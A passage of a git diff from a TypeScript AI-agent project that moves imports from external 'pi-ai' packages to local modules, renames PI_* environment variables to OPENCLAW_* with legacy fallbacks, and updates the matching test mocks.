const { getOAuthApiKeyMock } = vi.hoisted(() => ({ }), })); -vi.mock("@earendil-works/pi-ai/oauth", () => ({ +vi.mock("../../llm/oauth.js", () => ({ getOAuthApiKey: getOAuthApiKeyMock, getOAuthProviders: () => [{ id: "anthropic" }, { id: "openai-codex" }], })); @@ -37,7 +37,7 @@ vi.mock("../../plugins/provider-runtime.js", () => ({ })); afterAll(() => { - vi.doUnmock("@earendil-works/pi-ai/oauth"); + vi.doUnmock("../../llm/oauth.js"); vi.doUnmock("../cli-credentials.js"); vi.doUnmock("../../plugins/provider-runtime.runtime.js"); vi.doUnmock("../../plugins/provider-runtime.js"); @@ -48,11 +48,7 @@ function createUsableOAuthExpiry(): number { } describe("resolveApiKeyForProfile fallback to main agent", () => { - const envSnapshot = captureEnv([ - "OPENCLAW_STATE_DIR", - "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", - ]); + const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR"]); let tmpDir: string; let mainAgentDir: string; let secondaryAgentDir: string; @@ -72,7 +68,6 @@ describe("resolveApiKeyForProfile fallback to main agent", () => { // Set environment variables so the default agent dir resolves under tmpDir. process.env.OPENCLAW_STATE_DIR = tmpDir; process.env.OPENCLAW_AGENT_DIR = mainAgentDir; - process.env.PI_CODING_AGENT_DIR = mainAgentDir; clearRuntimeAuthProfileStoreSnapshots(); }); diff --git a/src/agents/auth-profiles/oauth.mirror-refresh.test.ts b/src/agents/auth-profiles/oauth.mirror-refresh.test.ts index 17057df1716..00f8700e2d7 100644 --- a/src/agents/auth-profiles/oauth.mirror-refresh.test.ts +++ b/src/agents/auth-profiles/oauth.mirror-refresh.test.ts @@ -47,7 +47,7 @@ function requireOAuthCredential(store: AuthProfileStore, profileId: string): OAu return profile; } -vi.mock("@mariozechner/pi-ai/oauth", () => ({ +vi.mock("../../llm/oauth.js", () => ({ getOAuthProviders: () => [{ id: "anthropic" }, { id: "openai-codex" }], getOAuthApiKey: vi.fn(async (provider: string, credentials: Record) => { const credential = credentials[provider]; diff --git a/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts b/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts index a1c636b2685..1bedf9deb9e 100644 --- a/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts +++ b/src/agents/auth-profiles/oauth.openai-codex-refresh-fallback.test.ts @@ -14,7 +14,7 @@ import type { AuthProfileStore, OAuthCredential } from "./types.js"; let resolveApiKeyForProfile: typeof import("./oauth.js").resolveApiKeyForProfile; let resolveApiKeyForProvider: typeof import("../model-auth.js").resolveApiKeyForProvider; let markAuthProfileSuccess: typeof import("./profiles.js").markAuthProfileSuccess; -type GetOAuthApiKey = typeof import("@earendil-works/pi-ai/oauth").getOAuthApiKey; +type GetOAuthApiKey = typeof import("../../llm/oauth.js").getOAuthApiKey; const { getOAuthApiKeyMock } = vi.hoisted(() => ({ getOAuthApiKeyMock: vi.fn(async () => { @@ -47,7 +47,7 @@ vi.mock("../cli-credentials.js", () => ({ resetCliCredentialCachesForTest: () => undefined, })); -vi.mock("@earendil-works/pi-ai/oauth", () => ({ +vi.mock("../../llm/oauth.js", () => ({ getOAuthApiKey: getOAuthApiKeyMock, getOAuthProviders: () => [ { id: "openai-codex", envApiKey: "OPENAI_API_KEY", oauthTokenEnv: "OPENAI_OAUTH_TOKEN" }, // pragma: allowlist secret @@ -69,7 +69,7 @@ vi.mock("../../plugins/provider-runtime.js", () => ({ })); afterAll(() => { - vi.doUnmock("@earendil-works/pi-ai/oauth"); + vi.doUnmock("../../llm/oauth.js"); vi.doUnmock("../cli-credentials.js"); vi.doUnmock("../../plugins/provider-runtime.runtime.js"); vi.doUnmock("../../plugins/provider-runtime.js"); @@ -163,7 +163,6 @@ describe("resolveApiKeyForProfile openai-codex refresh fallback", () => { await fs.mkdir(agentDir, { recursive: true }); process.env.OPENCLAW_STATE_DIR = caseRoot; process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; }); afterEach(async () => { diff --git a/src/agents/auth-profiles/oauth.ts b/src/agents/auth-profiles/oauth.ts index 6a9fb1a569a..e5eedd098c2 100644 --- a/src/agents/auth-profiles/oauth.ts +++ b/src/agents/auth-profiles/oauth.ts @@ -1,13 +1,13 @@ +import { getRuntimeConfig } from "../../config/config.js"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { coerceSecretRef } from "../../config/types.secrets.js"; +import { formatErrorMessage } from "../../infra/errors.js"; import { getOAuthApiKey, getOAuthProviders, type OAuthCredentials, type OAuthProvider, -} from "@earendil-works/pi-ai/oauth"; -import { getRuntimeConfig } from "../../config/config.js"; -import type { OpenClawConfig } from "../../config/types.openclaw.js"; -import { coerceSecretRef } from "../../config/types.secrets.js"; -import { formatErrorMessage } from "../../infra/errors.js"; +} from "../../llm/oauth.js"; import { formatProviderAuthProfileApiKeyWithPlugin, refreshProviderOAuthCredentialWithPlugin, diff --git a/src/agents/auth-profiles/order.ts b/src/agents/auth-profiles/order.ts index ddced1f5982..3fc2f919abd 100644 --- a/src/agents/auth-profiles/order.ts +++ b/src/agents/auth-profiles/order.ts @@ -130,10 +130,7 @@ function resolveProviderAuthMode( function providerAllowsAwsSdkAuth(cfg: OpenClawConfig | undefined, provider: string): boolean { const authMode = resolveProviderAuthMode(cfg, provider); - return ( - authMode === "aws-sdk" || - (authMode === undefined && normalizeProviderId(provider) === "amazon-bedrock") - ); + return authMode === "aws-sdk"; } export function isConfiguredAwsSdkAuthProfileForProvider(params: { diff --git a/src/agents/bash-process-registry.ts b/src/agents/bash-process-registry.ts index 798ad66944f..70790d6dde5 100644 --- a/src/agents/bash-process-registry.ts +++ b/src/agents/bash-process-registry.ts @@ -2,6 +2,7 @@ import type { ChildProcessWithoutNullStreams } from "node:child_process"; import type { EventSessionRoutingPolicy } from "../infra/event-session-routing.js"; import type { TerminationReason } from "../process/supervisor/types.js"; import type { DeliveryContext } from "../utils/delivery-context.js"; +import { readEnvInt } from "./bash-tools.shared.js"; import { createSessionSlug as createSessionSlugId } from "./session-slug.js"; const DEFAULT_JOB_TTL_MS = 30 * 60 * 1000; // 30 minutes @@ -16,7 +17,7 @@ function clampTtl(value: number | undefined) { return Math.min(Math.max(value, MIN_JOB_TTL_MS), MAX_JOB_TTL_MS); } -let jobTtlMs = clampTtl(Number.parseInt(process.env.PI_BASH_JOB_TTL_MS ?? "", 10)); +let jobTtlMs = clampTtl(readEnvInt("OPENCLAW_BASH_JOB_TTL_MS", "PI_BASH_JOB_TTL_MS")); export type ProcessStatus = "running" | "completed" | "failed" | "killed"; diff --git a/src/agents/bash-tools.exec-approval-followup.ts b/src/agents/bash-tools.exec-approval-followup.ts index 18fd2e056e3..1228d7f790a 100644 --- a/src/agents/bash-tools.exec-approval-followup.ts +++ b/src/agents/bash-tools.exec-approval-followup.ts @@ -10,12 +10,12 @@ import { } from "../shared/string-coerce.js"; import { isGatewayMessageChannel, normalizeMessageChannel } from "../utils/message-channel.js"; import { buildExecApprovalFollowupIdempotencyKey } from "./bash-tools.exec-approval-followup-state.js"; +import { sanitizeUserFacingText } from "./embedded-agent-helpers/sanitize-user-facing-text.js"; import { formatExecDeniedUserMessage, isExecDeniedResultText, parseExecApprovalResultText, } from "./exec-approval-result.js"; -import { sanitizeUserFacingText } from "./pi-embedded-helpers/sanitize-user-facing-text.js"; import { callGatewayTool } from "./tools/gateway.js"; type ExecApprovalFollowupParams = { diff --git a/src/agents/bash-tools.exec-gateway-approval.e2e.test.ts b/src/agents/bash-tools.exec-gateway-approval.e2e.test.ts index 5efb87fa40c..cc8b56258ac 100644 --- a/src/agents/bash-tools.exec-gateway-approval.e2e.test.ts +++ b/src/agents/bash-tools.exec-gateway-approval.e2e.test.ts @@ -60,7 +60,7 @@ describe("gateway-hosted exec approvals", () => { clearSessionStoreCacheForTest(); }); - it("lets PI-style gateway tool calls request and wait for approval over separate connections", async () => { + it("lets OpenClaw-style gateway tool calls request and wait for approval over separate connections", async () => { const envSnapshot = captureEnv(TEST_ENV_KEYS); cleanup.push(() => envSnapshot.restore()); diff --git a/src/agents/bash-tools.exec-host-gateway.ts b/src/agents/bash-tools.exec-host-gateway.ts index 194af03a589..ec612103d45 100644 --- a/src/agents/bash-tools.exec-host-gateway.ts +++ b/src/agents/bash-tools.exec-host-gateway.ts @@ -1,4 +1,3 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { describeInterpreterInlineEval } from "../infra/command-analysis/inline-eval.js"; import { detectPolicyInlineEval } from "../infra/command-analysis/policy.js"; import { @@ -50,6 +49,7 @@ import type { ExecApprovalFollowupOutcome, ExecToolDetails, } from "./bash-tools.exec-types.js"; +import type { AgentToolResult } from "./runtime/index.js"; export type ProcessGatewayAllowlistParams = { command: string; diff --git a/src/agents/bash-tools.exec-host-node-phases.ts b/src/agents/bash-tools.exec-host-node-phases.ts index 31119993ce2..fcf59c80826 100644 --- a/src/agents/bash-tools.exec-host-node-phases.ts +++ b/src/agents/bash-tools.exec-host-node-phases.ts @@ -1,5 +1,4 @@ import crypto from "node:crypto"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { describeInterpreterInlineEval, type InterpreterInlineEvalHit, @@ -21,6 +20,7 @@ import { normalizeNullableString } from "../shared/string-coerce.js"; import type { ExecuteNodeHostCommandParams } from "./bash-tools.exec-host-node.types.js"; import { renderExecOutputText } from "./bash-tools.exec-output.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; +import type { AgentToolResult } from "./runtime/index.js"; import { callGatewayTool } from "./tools/gateway.js"; import { listNodes, resolveNodeIdFromList } from "./tools/nodes-utils.js"; diff --git a/src/agents/bash-tools.exec-host-node.ts b/src/agents/bash-tools.exec-host-node.ts index d61ca66500d..798c3175002 100644 --- a/src/agents/bash-tools.exec-host-node.ts +++ b/src/agents/bash-tools.exec-host-node.ts @@ -1,4 +1,3 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { APPROVALS_SCOPE, WRITE_SCOPE } from "../gateway/operator-scopes.js"; import { requiresExecApproval, @@ -26,6 +25,7 @@ import { normalizeNotifyOutput, } from "./bash-tools.exec-runtime.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; +import type { AgentToolResult } from "./runtime/index.js"; import { callGatewayTool } from "./tools/gateway.js"; export type { ExecuteNodeHostCommandParams } from "./bash-tools.exec-host-node.types.js"; diff --git a/src/agents/bash-tools.exec-host-shared.ts b/src/agents/bash-tools.exec-host-shared.ts index 551c7b1f5c0..8633822f0a6 100644 --- a/src/agents/bash-tools.exec-host-shared.ts +++ b/src/agents/bash-tools.exec-host-shared.ts @@ -1,5 +1,4 @@ import crypto from "node:crypto"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { formatErrorMessage } from "../infra/errors.js"; import { buildExecApprovalUnavailableReplyPayload } from "../infra/exec-approval-reply.js"; import { @@ -26,6 +25,7 @@ import { buildApprovalPendingMessage } from "./bash-tools.exec-runtime.js"; import { DEFAULT_APPROVAL_TIMEOUT_MS } from "./bash-tools.exec-runtime.js"; import type { ExecElevatedDefaults, ExecToolDetails } from "./bash-tools.exec-types.js"; import { isExecDeniedResultText } from "./exec-approval-result.js"; +import type { AgentToolResult } from "./runtime/index.js"; type ResolvedExecApprovals = ReturnType; export const MAX_EXEC_APPROVAL_FOLLOWUP_FAILURE_LOG_KEYS = 256; diff --git a/src/agents/bash-tools.exec-runtime.ts b/src/agents/bash-tools.exec-runtime.ts index 2aa01fd2a81..f892f9c302f 100644 --- a/src/agents/bash-tools.exec-runtime.ts +++ b/src/agents/bash-tools.exec-runtime.ts @@ -1,5 +1,4 @@ import path from "node:path"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { emitDiagnosticEvent } from "../infra/diagnostic-events.js"; import { type EventSessionRoutingPolicy, @@ -22,6 +21,7 @@ import { normalizeStringEntries } from "../shared/string-normalization.js"; import type { ProcessSession } from "./bash-process-registry.js"; import type { ExecToolDetails } from "./bash-tools.exec-types.js"; import type { BashSandboxConfig } from "./bash-tools.shared.js"; +import type { AgentToolResult } from "./runtime/index.js"; export { applyPathPrepend, findPathKey, normalizePathPrepend } from "../infra/path-prepend.js"; export { normalizeExecAsk, @@ -115,7 +115,7 @@ export function validateHostEnv(env: Record): void { } } export const DEFAULT_MAX_OUTPUT = clampWithDefault( - readEnvInt("PI_BASH_MAX_OUTPUT_CHARS"), + readEnvInt("OPENCLAW_BASH_MAX_OUTPUT_CHARS", "PI_BASH_MAX_OUTPUT_CHARS"), 200_000, 1_000, 200_000, @@ -715,7 +715,7 @@ export async function runExecProcess(opts: { return; } const tailText = session.tail || session.aggregated; - // Note: opts.onUpdate() is provided by pi-agent-core's agent-loop and + // Note: opts.onUpdate() is provided by agent runtime's agent-loop and // internally pushes Promise.resolve(emit(event)) into an updateEvents // array. Because emit → processEvents is async, any failure (e.g. // activeRun cleared) produces a *rejected Promise*, not a synchronous diff --git a/src/agents/bash-tools.exec-types.ts b/src/agents/bash-tools.exec-types.ts index dc24a0acc4d..2d1eca235c0 100644 --- a/src/agents/bash-tools.exec-types.ts +++ b/src/agents/bash-tools.exec-types.ts @@ -3,7 +3,7 @@ import type { ExecApprovalDecision } from "../infra/exec-approvals.js"; import type { ExecAsk, ExecHost, ExecSecurity, ExecTarget } from "../infra/exec-approvals.js"; import type { SafeBinProfileFixture } from "../infra/exec-safe-bin-policy.js"; import type { BashSandboxConfig } from "./bash-tools.shared.js"; -import type { EmbeddedFullAccessBlockedReason } from "./pi-embedded-runner/types.js"; +import type { EmbeddedFullAccessBlockedReason } from "./embedded-agent-runner/types.js"; export type ExecToolDefaults = { hasCronTool?: boolean; diff --git a/src/agents/bash-tools.exec.ts b/src/agents/bash-tools.exec.ts index 829290b574b..2c8dfa68093 100644 --- a/src/agents/bash-tools.exec.ts +++ b/src/agents/bash-tools.exec.ts @@ -1,7 +1,6 @@ import { constants as fsConstants } from "node:fs"; import fs from "node:fs/promises"; import path from "node:path"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { buildCommandPayloadCandidates } from "../infra/command-analysis/risks.js"; import { analyzeShellCommand } from "../infra/exec-approvals-analysis.js"; import { @@ -58,6 +57,7 @@ import { resolveWorkdir, truncateMiddle, } from "./bash-tools.shared.js"; +import type { AgentToolResult } from "./runtime/index.js"; import { EXEC_TOOL_DISPLAY_SUMMARY } from "./tool-description-presets.js"; import { type AgentToolWithMeta, failedTextResult, textResult } from "./tools/common.js"; @@ -1219,7 +1219,7 @@ export function createExecTool( defaults?: ExecToolDefaults, ): AgentToolWithMeta { const defaultBackgroundMs = clampWithDefault( - defaults?.backgroundMs ?? readEnvInt("PI_BASH_YIELD_MS"), + defaults?.backgroundMs ?? readEnvInt("OPENCLAW_BASH_YIELD_MS", "PI_BASH_YIELD_MS"), 10_000, 10, 120_000, @@ -1641,7 +1641,7 @@ export function createExecTool( const onAbortSignal = () => { // Immediately suppress onUpdate calls so that any late stdout/stderr // from the still-running process cannot push a rejected Promise into - // pi-agent-core's updateEvents after the agent run has ended (#62520). + // agent runtime's updateEvents after the agent run has ended (#62520). // Intentionally placed *before* the yielded/backgrounded guard: the // agent run is ending regardless, so no consumer exists for further // tool_execution_update events even for backgrounded sessions (which diff --git a/src/agents/bash-tools.process-send-keys.ts b/src/agents/bash-tools.process-send-keys.ts index 5c79234da28..f0b30cbe8b3 100644 --- a/src/agents/bash-tools.process-send-keys.ts +++ b/src/agents/bash-tools.process-send-keys.ts @@ -1,7 +1,7 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import type { ProcessSession } from "./bash-process-registry.js"; import { deriveSessionName } from "./bash-tools.shared.js"; import { encodeKeySequence, hasCursorModeSensitiveKeys } from "./pty-keys.js"; +import type { AgentToolResult } from "./runtime/index.js"; export type WritableStdin = { write: (data: string, cb?: (err?: Error | null) => void) => void; diff --git a/src/agents/bash-tools.process.ts b/src/agents/bash-tools.process.ts index e0942d9084f..6c4206a2ab4 100644 --- a/src/agents/bash-tools.process.ts +++ b/src/agents/bash-tools.process.ts @@ -1,4 +1,3 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { formatDurationCompact } from "../infra/format-time/format-duration.ts"; import { getDiagnosticSessionState } from "../logging/diagnostic-session-state.js"; import { killProcessTree } from "../process/kill-tree.js"; @@ -27,6 +26,7 @@ import { } from "./bash-tools.shared.js"; import { recordCommandPoll, resetCommandPollCount } from "./command-poll-backoff.js"; import { encodePaste } from "./pty-keys.js"; +import type { AgentToolResult } from "./runtime/index.js"; import { PROCESS_TOOL_DISPLAY_SUMMARY } from "./tool-description-presets.js"; import type { AgentToolWithMeta } from "./tools/common.js"; diff --git a/src/agents/bash-tools.shared.test.ts b/src/agents/bash-tools.shared.test.ts index 9aa57faa5f8..9b7647ca338 100644 --- a/src/agents/bash-tools.shared.test.ts +++ b/src/agents/bash-tools.shared.test.ts @@ -1,8 +1,8 @@ import { mkdir, mkdtemp, rm } from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { describe, expect, it } from "vitest"; -import { resolveSandboxWorkdir } from "./bash-tools.shared.js"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { readEnvInt, resolveSandboxWorkdir } from "./bash-tools.shared.js"; async function withTempDir(run: (dir: string) => Promise) { const dir = await mkdtemp(path.join(os.tmpdir(), "openclaw-bash-workdir-")); @@ -14,6 +14,20 @@ async function withTempDir(run: (dir: string) => Promise) { } describe("resolveSandboxWorkdir", () => { + afterEach(() => { + vi.unstubAllEnvs(); + }); + + it("reads deprecated PI env integer aliases behind OPENCLAW env names", () => { + vi.stubEnv("PI_BASH_YIELD_MS", "250"); + + expect(readEnvInt("OPENCLAW_BASH_YIELD_MS", "PI_BASH_YIELD_MS")).toBe(250); + + vi.stubEnv("OPENCLAW_BASH_YIELD_MS", "500"); + + expect(readEnvInt("OPENCLAW_BASH_YIELD_MS", "PI_BASH_YIELD_MS")).toBe(500); + }); + it("maps container root workdir to host workspace", async () => { await withTempDir(async (workspaceDir) => { const warnings: string[] = []; diff --git a/src/agents/bash-tools.shared.ts b/src/agents/bash-tools.shared.ts index a77e6323d68..a94a625c806 100644 --- a/src/agents/bash-tools.shared.ts +++ b/src/agents/bash-tools.shared.ts @@ -207,8 +207,8 @@ export function clampWithDefault( return Math.min(Math.max(value, min), max); } -export function readEnvInt(key: string) { - const raw = process.env[key]; +export function readEnvInt(key: string, legacyKey?: string) { + const raw = process.env[key] || (legacyKey ? process.env[legacyKey] : undefined); if (!raw) { return undefined; } diff --git a/src/agents/bootstrap-budget.ts b/src/agents/bootstrap-budget.ts index 39c29adce1b..3f8c8c907d1 100644 --- a/src/agents/bootstrap-budget.ts +++ b/src/agents/bootstrap-budget.ts @@ -1,10 +1,6 @@ import path from "node:path"; import { normalizeOptionalString } from "../shared/string-coerce.js"; -import { - normalizeStringEntries, - normalizeUniqueStringEntries, -} from "../shared/string-normalization.js"; -import type { EmbeddedContextFile } from "./pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "./embedded-agent-helpers.js"; import type { WorkspaceBootstrapFile } from "./workspace.js"; const DEFAULT_BOOTSTRAP_NEAR_LIMIT_RATIO = 0.85; @@ -77,7 +73,20 @@ function isAgentsBootstrapName(name: string | undefined): boolean { } function normalizeSeenSignatures(signatures?: string[]): string[] { - return normalizeUniqueStringEntries(signatures); + if (!Array.isArray(signatures) || signatures.length === 0) { + return []; + } + const seen = new Set(); + const result: string[] = []; + for (const signature of signatures) { + const value = normalizeOptionalString(signature) ?? ""; + if (!value || seen.has(value)) { + continue; + } + seen.add(value); + result.push(value); + } + return result; } function appendSeenSignature(signatures: string[], signature: string): string[] { @@ -336,7 +345,7 @@ export function appendBootstrapPromptWarning( preserveExactPrompt?: string; }, ): string { - const normalizedLines = normalizeStringEntries(warningLines); + const normalizedLines = (warningLines ?? []).map((line) => line.trim()).filter(Boolean); if (normalizedLines.length === 0) { return prompt; } diff --git a/src/agents/bootstrap-files.ts b/src/agents/bootstrap-files.ts index cebb17002f4..d273e522ce3 100644 --- a/src/agents/bootstrap-files.ts +++ b/src/agents/bootstrap-files.ts @@ -7,13 +7,13 @@ import { resolveUserPath } from "../utils.js"; import { resolveAgentConfig, resolveSessionAgentIds } from "./agent-scope.js"; import { getOrLoadBootstrapFiles } from "./bootstrap-cache.js"; import { applyBootstrapHookOverrides } from "./bootstrap-hooks.js"; -import { shouldIncludeHeartbeatGuidanceForSystemPrompt } from "./heartbeat-system-prompt.js"; -import type { EmbeddedContextFile } from "./pi-embedded-helpers.js"; +import type { EmbeddedContextFile } from "./embedded-agent-helpers.js"; import { buildBootstrapContextFiles, resolveBootstrapMaxChars, resolveBootstrapTotalMaxChars, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; +import { shouldIncludeHeartbeatGuidanceForSystemPrompt } from "./heartbeat-system-prompt.js"; import { DEFAULT_HEARTBEAT_FILENAME, DEFAULT_BOOTSTRAP_FILENAME, diff --git a/src/agents/btw-transcript.ts b/src/agents/btw-transcript.ts index 4c96f424a06..42639469a8c 100644 --- a/src/agents/btw-transcript.ts +++ b/src/agents/btw-transcript.ts @@ -1,16 +1,16 @@ import { readFile } from "node:fs/promises"; -import { - buildSessionContext, - migrateSessionEntries, - parseSessionEntries, - type SessionEntry as PiSessionEntry, -} from "@earendil-works/pi-coding-agent"; import { resolveSessionFilePath, resolveSessionFilePathOptions, type SessionEntry as StoredSessionEntry, } from "../config/sessions.js"; import { diagnosticLogger as diag } from "../logging/diagnostic.js"; +import { + buildSessionContext, + migrateSessionEntries, + parseSessionEntries, + type SessionEntry as AgentSessionEntry, +} from "./sessions/session-manager.js"; export function resolveBtwSessionTranscriptPath(params: { sessionId: string; @@ -33,12 +33,12 @@ export function resolveBtwSessionTranscriptPath(params: { } } -function readSessionEntryId(entry: PiSessionEntry): string | undefined { +function readSessionEntryId(entry: AgentSessionEntry): string | undefined { const id = (entry as { id?: unknown }).id; return typeof id === "string" && id.trim().length > 0 ? id : undefined; } -function readSessionEntryParentId(entry: PiSessionEntry): string | null | undefined { +function readSessionEntryParentId(entry: AgentSessionEntry): string | null | undefined { const parentId = (entry as { parentId?: unknown }).parentId; if (parentId === null) { return null; @@ -46,25 +46,25 @@ function readSessionEntryParentId(entry: PiSessionEntry): string | null | undefi return typeof parentId === "string" && parentId.trim().length > 0 ? parentId : undefined; } -function hasParentLinkedEntries(entries: PiSessionEntry[]): boolean { +function hasParentLinkedEntries(entries: AgentSessionEntry[]): boolean { return entries.some((entry) => Boolean(readSessionEntryId(entry) && "parentId" in entry)); } function buildSessionBranchEntries( - entries: PiSessionEntry[], + entries: AgentSessionEntry[], leafId: string | undefined, -): PiSessionEntry[] | undefined { +): AgentSessionEntry[] | undefined { if (!leafId) { return undefined; } - const byId = new Map(); + const byId = new Map(); for (const entry of entries) { const id = readSessionEntryId(entry); if (id) { byId.set(id, entry); } } - const branch: PiSessionEntry[] = []; + const branch: AgentSessionEntry[] = []; const seen = new Set(); let currentId: string | undefined = leafId; while (currentId) { @@ -82,7 +82,7 @@ function buildSessionBranchEntries( return branch.toReversed(); } -function readDefaultLeafId(entries: PiSessionEntry[]): string | undefined { +function readDefaultLeafId(entries: AgentSessionEntry[]): string | undefined { for (let index = entries.length - 1; index >= 0; index -= 1) { const id = readSessionEntryId(entries[index]); if (id) { @@ -92,7 +92,7 @@ function readDefaultLeafId(entries: PiSessionEntry[]): string | undefined { return undefined; } -function isTrailingUserMessage(entry: PiSessionEntry | undefined): boolean { +function isTrailingUserMessage(entry: AgentSessionEntry | undefined): boolean { return ( entry?.type === "message" && (entry as { message?: { role?: unknown } }).message?.role === "user" @@ -108,7 +108,7 @@ export async function readBtwTranscriptMessages(params: { const entries = parseSessionEntries(await readFile(params.sessionFile, "utf-8")); migrateSessionEntries(entries); const sessionEntries = entries.filter( - (entry): entry is PiSessionEntry => entry.type !== "session", + (entry): entry is AgentSessionEntry => entry.type !== "session", ); if (!hasParentLinkedEntries(sessionEntries)) { return buildSessionContext(sessionEntries).messages; diff --git a/src/agents/btw.test.ts b/src/agents/btw.test.ts index 9cb59c3535d..6a809330847 100644 --- a/src/agents/btw.test.ts +++ b/src/agents/btw.test.ts @@ -9,10 +9,10 @@ const buildSessionContextMock = vi.fn(); const ensureOpenClawModelsJsonMock = vi.fn(); const discoverAuthStorageMock = vi.fn(); const discoverModelsMock = vi.fn(); -const resolveModelAsyncMock = vi.fn(); const resolveModelWithRegistryMock = vi.fn(); const ensureAuthProfileStoreMock = vi.fn(); const ensureAuthProfileStoreWithoutExternalProfilesMock = vi.fn(); +const resolveModelAsyncMock = vi.fn(); const getApiKeyForModelMock = vi.fn(); const requireApiKeyMock = vi.fn(); const resolveSessionAuthProfileOverrideMock = vi.fn(); @@ -26,9 +26,8 @@ const registerProviderStreamForModelMock = vi.fn(); const resolveEmbeddedAgentStreamFnMock = vi.fn(); const diagDebugMock = vi.fn(); -vi.mock("@earendil-works/pi-ai", async () => { - const original = - await vi.importActual("@earendil-works/pi-ai"); +vi.mock("../llm/stream.js", async () => { + const original = await vi.importActual("../llm/stream.js"); return { ...original, streamSimple: (...args: unknown[]) => streamSimpleMock(...args), @@ -42,7 +41,7 @@ vi.mock("node:fs/promises", () => ({ readFile: (...args: unknown[]) => readFileMock(...args), })); -vi.mock("@earendil-works/pi-coding-agent", () => ({ +vi.mock("./sessions/session-manager.js", () => ({ buildSessionContext: (...args: unknown[]) => buildSessionContextMock(...args), generateSummary: vi.fn(async () => "summary"), migrateSessionEntries: (...args: unknown[]) => migrateSessionEntriesMock(...args), @@ -53,12 +52,12 @@ vi.mock("./models-config.js", () => ({ ensureOpenClawModelsJson: (...args: unknown[]) => ensureOpenClawModelsJsonMock(...args), })); -vi.mock("./pi-model-discovery.js", () => ({ +vi.mock("./agent-model-discovery.js", () => ({ discoverAuthStorage: (...args: unknown[]) => discoverAuthStorageMock(...args), discoverModels: (...args: unknown[]) => discoverModelsMock(...args), })); -vi.mock("./pi-embedded-runner/model.js", () => ({ +vi.mock("./embedded-agent-runner/model.js", () => ({ resolveModelAsync: (...args: unknown[]) => resolveModelAsyncMock(...args), resolveModelWithRegistry: (...args: unknown[]) => resolveModelWithRegistryMock(...args), })); @@ -71,7 +70,7 @@ vi.mock("./model-auth.js", () => ({ requireApiKey: (...args: unknown[]) => requireApiKeyMock(...args), })); -vi.mock("./pi-embedded-runner/runs.js", () => ({ +vi.mock("./embedded-agent-runner/runs.js", () => ({ getActiveEmbeddedRunSnapshot: (...args: unknown[]) => getActiveEmbeddedRunSnapshotMock(...args), })); @@ -91,7 +90,7 @@ vi.mock("./provider-stream.js", () => ({ registerProviderStreamForModelMock(...args), })); -vi.mock("./pi-embedded-runner/stream-resolution.js", () => ({ +vi.mock("./embedded-agent-runner/stream-resolution.js", () => ({ resolveEmbeddedAgentStreamFn: (...args: unknown[]) => resolveEmbeddedAgentStreamFnMock(...args), })); @@ -371,6 +370,7 @@ describe("runBtwSideQuestion", () => { ensureOpenClawModelsJsonMock.mockReset(); discoverAuthStorageMock.mockReset(); discoverModelsMock.mockReset(); + resolveModelAsyncMock.mockReset(); resolveModelWithRegistryMock.mockReset(); ensureAuthProfileStoreMock.mockReset(); ensureAuthProfileStoreWithoutExternalProfilesMock.mockReset(); diff --git a/src/agents/btw.ts b/src/agents/btw.ts index 48edf62c2a3..47dafc61843 100644 --- a/src/agents/btw.ts +++ b/src/agents/btw.ts @@ -1,23 +1,28 @@ -import { - streamSimple, - type Api, - type AssistantMessageEvent, - type ImageContent, - type Message, - type Model, - type TextContent, -} from "@earendil-works/pi-ai"; import type { GetReplyOptions } from "../auto-reply/get-reply-options.types.js"; import type { ReplyPayload } from "../auto-reply/reply-payload.js"; import type { ReasoningLevel, ThinkLevel } from "../auto-reply/thinking.js"; import type { SessionEntry as StoredSessionEntry } from "../config/sessions.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { streamWithPayloadPatch } from "../llm/providers/stream-wrappers/stream-payload-utils.js"; +import { streamSimple } from "../llm/stream.js"; +import { + type AssistantMessageEvent, + type ImageContent, + type Message, + type Model, + type TextContent, +} from "../llm/types.js"; import { prepareProviderRuntimeAuth } from "../plugins/provider-runtime.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; import { resolveAgentWorkspaceDir, resolveSessionAgentId } from "./agent-scope.js"; import { resolveExternalCliAuthOverlayScopeFromSelection } from "./auth-profiles/external-cli-auth-selection.js"; import { resolveSessionAuthProfileOverride } from "./auth-profiles/session-override.js"; import { readBtwTranscriptMessages, resolveBtwSessionTranscriptPath } from "./btw-transcript.js"; +import { EmbeddedBlockChunker, type BlockReplyChunking } from "./embedded-agent-block-chunker.js"; +import { resolveModelWithRegistry } from "./embedded-agent-runner/model.js"; +import { getActiveEmbeddedRunSnapshot } from "./embedded-agent-runner/runs.js"; +import { resolveEmbeddedAgentStreamFn } from "./embedded-agent-runner/stream-resolution.js"; import { resolveAvailableAgentHarnessPolicy, selectAgentHarness } from "./harness/selection.js"; import { resolveImageSanitizationLimits, @@ -31,12 +36,6 @@ import { } from "./model-auth.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; import { listOpenAIAuthProfileProvidersForAgentRuntime } from "./openai-codex-routing.js"; -import { EmbeddedBlockChunker, type BlockReplyChunking } from "./pi-embedded-block-chunker.js"; -import { resolveModelWithRegistry } from "./pi-embedded-runner/model.js"; -import { getActiveEmbeddedRunSnapshot } from "./pi-embedded-runner/runs.js"; -import { 